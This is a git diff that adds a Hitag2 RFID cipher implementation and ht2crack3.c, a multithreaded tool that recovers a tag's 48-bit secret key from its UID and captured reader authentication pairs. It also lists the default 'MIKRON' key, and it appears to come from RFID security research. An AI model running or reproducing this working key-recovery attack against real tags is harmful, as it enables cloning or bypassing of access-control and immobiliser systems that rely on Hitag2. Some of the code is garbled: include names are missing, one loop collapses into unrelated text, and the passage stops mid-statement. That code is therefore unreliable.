+ * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack3/hitagcrypto.h b/tools/hitag2crack/crack3/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack3/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack3/ht2crack3.c b/tools/hitag2crack/crack3/ht2crack3.c new file mode 100644 index 000000000..190f8197d --- /dev/null +++ b/tools/hitag2crack/crack3/ht2crack3.c @@ -0,0 +1,466 @@ +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +// max number of NrAr pairs to load - you only need 136 good pairs, but this +// is the max +#define NUM_NRAR 1024 +#define NUM_THREADS 8 + +// table entry for Tkleft +struct Tklower { + uint64_t yxorb; + char notb32; + uint64_t klowery; +}; + +// table entry for nR aR pair +struct nRaR { + uint64_t nR; + uint64_t aR; +}; + +// struct to hold data for thread +struct threaddata { + uint64_t uid; + struct nRaR *TnRaR; + unsigned int numnrar; + uint64_t klowerstart; + uint64_t klowerrange; +}; + +void printbin(uint64_t val) +{ + int i; + + for (i=0; i<64; i++) { + if (val & 0x8000000000000000) { + printf("1"); + } else { + printf("0"); + } + val = val << 1; + } +} + +void printstate(Hitag_State *hstate) +{ + printf("shiftreg =\t"); + printbin(hstate->shiftreg); + printf("\n"); +} + + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +// these and the following hitag2_crypt function taken from Rfidler +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +// this function is a modification of the filter function f, based heavily +// on the hitag2_crypt function in Rfidler +int fnP(uint64_t klowery) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function4p = 0xAE83; // 1010 1110 1000 0011 + uint32_t i; + + i = (ht2_function4a >> pickbits2_2 (klowery, 2, 5)) & 1; + i |= ((ht2_function4b << 1) >> pickbits1_1_2 (klowery, 8, 12, 14)) & 0x02; + i |= ((ht2_function4b << 2) >> pickbits1x4 (klowery, 17, 21, 23, 26)) & 0x04; + i |= ((ht2_function4b << 3) >> pickbits2_1_1 (klowery, 28, 31, 33)) & 0x08; + + // modified to use reference implementation approach + // orig fc table is 0x7907287B = 0111 1001 0000 0111 0010 1000 0111 1011 + // we ignore the top bit (bit 4) of the parameter, so therefore create a new + // table that indicates which bit positions are the same if the top bit is 1 or 0 + return (ht2_function4p >> i) & 1; +} + +// comparison function for sorting/searching Tklower entries +int Tk_cmp(const void *v1, const void *v2) +{ + const struct Tklower *Tk1 = (struct Tklower *)v1; + const struct Tklower *Tk2 = (struct Tklower *)v2; + + if (Tk1->yxorb < Tk2->yxorb) { + return -1; + } else if (Tk1->yxorb > Tk2->yxorb) { + return 1; + } + + return 0; +} + +// test for bad guesses of kmiddle +int is_kmiddle_badguess(uint64_t z, struct Tklower *Tk, int max, int aR0) { + + struct Tklower *result, target; + + // "If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0] + // then the attacker learns that kmiddle is a bad guess... otherwise, if + // !b32 == aR[0] then kmiddle is still a viable guess." + + target.yxorb = z; + target.notb32 = 0; + result = (struct Tklower *)bsearch(&target, Tk, max, sizeof(struct Tklower), Tk_cmp); + + if (result) { + if (result->notb32 != aR0) { + return 1; + } + } else { + return 2; + } + + return 0; +} + +// function to test if a partial key is valid +int testkey(uint64_t *out, uint64_t uid, uint64_t pkey, uint64_t nR, uint64_t aR) +{ + uint64_t kupper; + uint64_t key; + Hitag_State hstate; + uint64_t b; + uint32_t revaR; + uint32_t normaR; + + // normalise aR + revaR = rev32(aR); + normaR = ((revaR >> 24) | ((revaR >> 8) & 0xff00) | ((revaR << 8) & 0xff0000) | (revaR << 24)); + + // search for remaining 14 bits + for (kupper=0; kupper < 0x3fff; kupper++) { + key = (kupper << 34) | pkey; + hitag2_init(&hstate, key, uid, nR); + b = hitag2_nstep(&hstate, 32); + if ((normaR ^ b) == 0xffffffff) { + *out = key; + return 1; + } + } + return 0; +} + + + + + + + +// some notes on how I think this attack should work. +// due to the way fc works, in a number of cases, it doesn't matter what +// the most significant bits are doing for it to produce the same result. +// These are the most sig 14 bits to be clear. Looking at fc it is poss +// to see cases where the most sig bit of the input to fc (which is made +// from fa on 4 of the most sig bits from bit 34 onwards) does not affect +// whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value +// as input 0b1ABCD. +// The PRNG is initialised by setting the lower 32 bits to the UID, with +// the upper 16 bits set to the lower 16 bits of the key. Next the 32 +// upper bits of the key are XORed with the private nonce and these are +// shifted in, with the PRNG outputting bits b0 to b31. These bits are +// used to encrypt (XOR with) the nonce to produce nR, which is sent to +// the card. +// (The card should init the PRNG with the same UID and lower 16 bits of +// the key, receive the nR, then shift it in bit by bit while xoring each +// bit with its output, and the key - this essentially decrypts the nR to +// the nonce XOR the upper 32 bits of the key, while shifting it in. +// The card's PRNG will then be in the same state as the RWD.) +// By knowing the UID and guessing the lower 16 bits of the key, and +// focusing on nR values that don't affect the upper bits of fc, we can +// limit our guesses to a smaller set than a full brute force and +// effectively work out candidates for the lower 34 bits of the key. + + +void *crack(void *d) +{ + struct threaddata *data = (struct threaddata *)d; + uint64_t uid; + struct nRaR *TnRaR; + unsigned int numnrar; + + Hitag_State hstate; + int i, j; + + uint64_t klower; + uint64_t kmiddle; + uint64_t y; + uint64_t ytmp; + uint64_t klowery; + unsigned int count = 0; + uint64_t bit; + uint64_t b; + uint64_t z; + uint64_t foundkey; + uint64_t revkey; + int ret; + unsigned int found = 0; + unsigned int badguess = 0; + + struct Tklower *Tk = NULL; + + if (!data) { + printf("Thread data is NULL\n"); + exit(1); + } + + uid = data->uid; + TnRaR = data->TnRaR; + numnrar = data->numnrar; + + // create space for tables + Tk = (struct Tklower *)malloc(sizeof(struct Tklower) * 0x40000); + if (!Tk) { + printf("cannot malloc Tk\n"); + exit(1); + } + + // find keys + for (klower=data->klowerstart; klower < (data->klowerstart + data->klowerrange); klower++) { + printf("trying klower = 0x%05lx\n", klower); + // build table + count = 0; + for (y=0; y<0x40000; y++) { + // create klowery + klowery = (y << 16) | klower; + // check for cases where right most bit of fc doesn't matter + + if (fnP(klowery)) { + // store klowery + Tk[count].klowery = klowery; + // build the initial prng state + hstate.shiftreg = (klower << 32) | uid; + // zero the lfsr so only 0s are inserted + hstate.lfsr = 0; + // insert y into shiftreg and extract keystream, reversed order + b = 0; + ytmp = y; + for (j=0; j<2; j++) { + hstate.shiftreg = hstate.shiftreg | ((ytmp & 0xffff) << 48); + for (i=0; i<16; i++) { + hstate.shiftreg = hstate.shiftreg >> 1; + bit = hitag2_crypt(hstate.shiftreg); + b = (b >> 1) | (bit << 31); + } + ytmp = ytmp >> 16; + } + + // store the xor of y and b0-17 + Tk[count].yxorb = y ^ (b & 0x3ffff); + + // get and store inverse of next bit from prng + // don't need to worry about shifting in the new bit because + // it doesn't affect the filter function anyway + hstate.shiftreg = hstate.shiftreg >> 1; + Tk[count].notb32 = hitag2_crypt(hstate.shiftreg) ^ 0x1; + + // increase count + count++; + } + } + + qsort(Tk, count, sizeof(struct Tklower), Tk_cmp); + + // look for matches + for (kmiddle=0; kmiddle<0x40000; kmiddle++) { + // loop over nRaR pairs + badguess = 0; + found = 0; + for (i=0; (i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + printf("\n\nSuccess - key = %012lX\n", foundkey); + exit(0); + + return (void *)foundkey; + } + + } + + } + } + + return NULL; +} +int main(int argc, char *argv[]) +{ + FILE *fp; + int i; + pthread_t threads[NUM_THREADS]; + void *status; + + uint64_t uid; + uint64_t klowerstart; + unsigned int numnrar = 0; + char *buf = NULL; + char *buft1 = NULL; + char *buft2 = NULL; + size_t lenbuf = 64; + + struct nRaR *TnRaR = NULL; + struct threaddata *tdata = NULL; + + if (argc < 3) { + printf("ht2crack3 uid nRaRfile\n"); + exit(1); + } + + // read the UID into internal format + if (!strncmp(argv[1], "0x", 2)) { + uid = rev32(hexreversetoulong(argv[1] + 2)); + } else { + uid = rev32(hexreversetoulong(argv[1])); + } + + // create table of nR aR pairs + TnRaR = (struct nRaR *)malloc(sizeof(struct nRaR) * NUM_NRAR); + + // open file + fp = fopen(argv[2], "r"); + if (!fp) { + printf("cannot open nRaRfile\n"); + exit(1); + } + + // set klowerstart (for debugging) + if (argc > 3) { + klowerstart = strtol(argv[3], NULL, 0); + } else { + klowerstart = 0; + } + + // read in nR aR pairs + numnrar = 0; + buf = (char *)malloc(lenbuf); + if (!buf) { + printf("cannot malloc buf\n"); + exit(1); + } + + while (getline(&buf, &lenbuf, fp) > 0) { + buft1 = strchr(buf, ' '); + if (!buft1) { + printf("invalid file input on line %d\n", numnrar + 1); + exit(1); + } + *buft1 = 0x00; + buft1++; + buft2 = strchr(buft1, '\n'); + if (!buft2) { + printf("no CR on line %d\n", numnrar + 1); + exit(1); + } + *buft2 = 0x00; + if (!strncmp(buf, "0x", 2)) { + TnRaR[numnrar].nR = 